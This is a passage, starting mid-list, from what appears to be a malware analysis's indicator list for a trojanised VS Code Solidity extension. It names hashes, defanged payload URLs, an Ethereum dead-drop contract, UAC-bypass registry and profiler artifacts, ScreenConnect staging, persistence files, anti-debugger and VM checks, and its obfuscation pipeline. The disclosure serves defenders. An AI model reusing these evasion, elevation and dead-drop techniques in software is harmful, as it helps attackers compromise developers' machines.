runner):b9d2069b57a9b8a253ee047e12f1e223e5c33fa13407d93f8a42eaf8b76e12f1out/extension.js(0.0.193 host entry point, byte-identical to 0.0.187):48b97958c28b5e09a18668e664660457eee6d954d8edc7f582d40682df37642d- Nested
out/extension.js(0.0.193):90dac5110d6390a8045ec86599206032bf23b7ffe19eab1fb2c2d7931ff5c6d5 - Nested
out/mp4Deploy.js(0.0.193):ebf98352ebf6dde74a0d1a1dfcfaf29a209909d6dfddf4591e8c842799203edf - Remote runner (
bzp6p9.txt, not called by this build):587ac709e3dbc3b253333b2d90cfbdfc0193534de78df5985290dbe43c79ee00 The Duck Song.mp4(this build):e618a7507a152c44b08bbb87ebf8997444eb79b0a2c2d6c796d333e93d2b136d- Embedded archive stream:
ea1009fc3edd69467e58f70029e0d4e970533bec3464a584e743c1d4179db813
Build pipeline
package:marketplace/package:fullscripts inpackage.json.vscodeignore.marketplace(marketplace packaging manifest)out/components/autoUpdate.market.js(stubbed runner used by the store build)obfuscate:lang-resource/obfuscate-lang-resource.json(runner obfuscation from0.0.195)
Hash-indirect require (evasion marker)
- SHA-256 of
child_process:f2d8255ad6e0966510d0b96d9557165262cec52f293a950e7cdbb931d753a63d - SHA-256 of
exec:2706c619fe73f0cf112473c6ee02e66c04e1c01c110b0c37b88d8eb509630c9f - Marker string:
416E2065796520666F7220616E20657965206D7920667269656E642E(“An eye for an eye my friend.”)
Payload set (byte-identical to the September campaign) — the seven SHA-256 values in the payload table above.
Runtime fetch (0.0.193)
- Media:
https[://]litter[.]catbox[.]moe/9yh14d.mp4— 54,130,171 bytes, SHA-256e618a7507a152c44b08bbb87ebf8997444eb79b0a2c2d6c796d333e93d2b136d(same carrier as the two October builds) - Runner:
https[://]litter[.]catbox[.]moe/bzp6p9.txt— 26,293 bytes litter.catbox.moeis a legitimate file-hosting service; the two uploaded files are the malicious components- URLs stored as hex fragments in
out/publishUrls.jsand assembled at runtime
Chain dead-drop
- Contract (Ethereum mainnet, read via
eth_call):0xf8a900Db50b3331be6B768bA460BB59f3E40C344 - RPC endpoints compiled in:
cloudflare-eth[.]com,rpc.ankr[.]com/eth,eth.llamarpc[.]com,eth.meowrpc[.]com,eth.drpc[.]org,ethereum.blockpi[.]network/public,ethereum.publicnode[.]com,rpc.mevblocker[.]io,1rpc[.]io/eth,uk.rpc.blxrbdn[.]com,singapore.rpc.blxrbdn[.]com,virginia.rpc.blxrbdn[.]com
Windows elevation artifacts
%TEMP%\uac39-inner-<guid>.ps1(decompressed bypass launcher)%TEMP%\uac39-<guid>\profiler.dllandprofiler-result.txtHKCU\Software\Classes\CLSID\{GUID}\InprocServer32→ profiler DLL- User environment variables:
COR_ENABLE_PROFILING,COR_PROFILER,COR_PROFILER_PATH,UAC39_PAYLOAD - Child process:
mmc.exewithtaskschd.msc,compmgmt.msc,eventvwr.msc,secpol.msc, orgpedit.msc - Staged installer: unsigned MSI, author
ScreenConnect Software, WiX 3.11, built 2025-06-05, installed as.stuffed-<epoch>.msi
Persistence and behavior
~/.solidity/(implant directory, all POSIX platforms)- Nested install artifacts:
sol-bundled-<epoch>.vsixand.sol-rt-<epoch>-<pid>.datin the system temporary directory solidity-langsupport-runner.service(systemd user unit)com.solidity.langsupport.runner.plist(macOS LaunchAgent)%TEMP%\solidity-langsupport-debug.log(Windows deployment log)- Deploy check: any path/process/service containing
ScreenConnect(stored hex-encoded as53637265656e436f6e6e656374) - Anti-analysis: PowerShell process regex
^(x64dbg|ollydbg|windbg|ida|ida64|procmon|processhacker|wireshark|fiddler|dnspy)$; DMI product-name and CPU-flag VM checks; WMI model/vendor/BIOS checks; AMSI-block detection via exit code0xC0000409
Obfuscation pipeline (0.0.195 re-push)
- npm script:
obfuscate:lang-resource - Source file:
lang-resource-sync.source.js - Tool:
npx javascript-obfuscatorwith configobfuscate-lang-resource.json - Output:
lang-resource-sync.js, 398,821 B, 13,068 lines, 2,564-entry rotated string array with control-flow flattening publisherNamefield set to"Juan Blanco"(absent in0.0.191)